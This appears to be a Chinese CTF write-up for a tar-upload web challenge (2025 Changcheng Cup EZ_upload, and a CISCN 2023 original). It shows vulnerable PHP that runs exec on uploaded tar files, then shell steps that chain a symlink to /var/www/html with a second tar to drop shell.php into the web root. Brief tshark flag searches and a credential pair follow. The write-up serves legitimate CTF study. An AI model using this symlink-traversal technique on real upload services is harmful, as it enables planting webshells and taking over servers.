只能说,佬们做题速度太快了


highlight_file(__FILE__);

function handleFileUpload($file){

 $uploadDirectory = ‘/tmp/’;

 $filename = basename($file[‘name’]);

 $filename = preg_replace(‘/[^a-zA-Z0-9_-.]/’,’_’,$filename);

 if(move_uploaded_file($file[‘tmp_name’], $uploadDirectory.$filename)){

 exec(‘cd /tmp && tar -xvf ‘.$filename.’&&pwd’);

 echo $destination;

 }

}

原题:https://blog.csdn.net/qq_44640313/article/details/130968721?ops_request_misc=&request_id=&biz_id=102&utm_term=ciscn%202023%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-4-130968721.142^v102^pc_search_result_base3&spm=1018.2226.3001.4187

·过滤:文件名只允许 a-zA-Z0-9_.-,其余转 _

·解压目录固定 /tmp,Web 不可达

·无 LFI、无其他功能,只有 stdout 回显

二、核心思路(两步穿越)

1.先传「软链 tar」link -> /var/www/html解压后把 Web 根目录「套」进 /tmp/link/

2.再传「正常目录 tar」目录名同样叫 link,里面放马 shell.php;解压时 真实文件 会沿软链落进 Web 根,从而可直接浏览器访问

# 创建符号链接 my 指向 /var/www/html            
ln -s /var/www/html my            
# 将符号链接打包到 one.tar            
tar -cf 123.tar my            
# 清理临时文件            
rm my            

# 创建目录 my            
mkdir my            
# 创建文件 my/shell.php 并写入内容            
echo ‘  
?>’ > my/info.php          
# 将文件打包到 two.tar          
tar -cf 345.tar my/info.php          
# 清理临时目录          
rm -r my          

2025长城杯web2-EZ_upload



  

shell

# 创建符号链接 my 指向 /var/www/html            
ln -s /var/www/html my            
# 将符号链接打包到 1.tar            
tar -cf 1.tar my            
# 清理临时文件            


rm -rf my            
mkdir my            
cat > my/shell.php <<‘EOF’            

EOF            
tar -cf 2.tar my/shell.php            
rm -r my            

每次开环境flag不一样

WEB3

流量分析

tshark -r RealCheckIn.pcap -T text -x | grep -i flag

tshark -r RealCheckIn.pcap -Y ‘frame contains ‘flag{” -T text

frame contains ‘fffllagg1

http.request.method==POST

 3188 admin admin123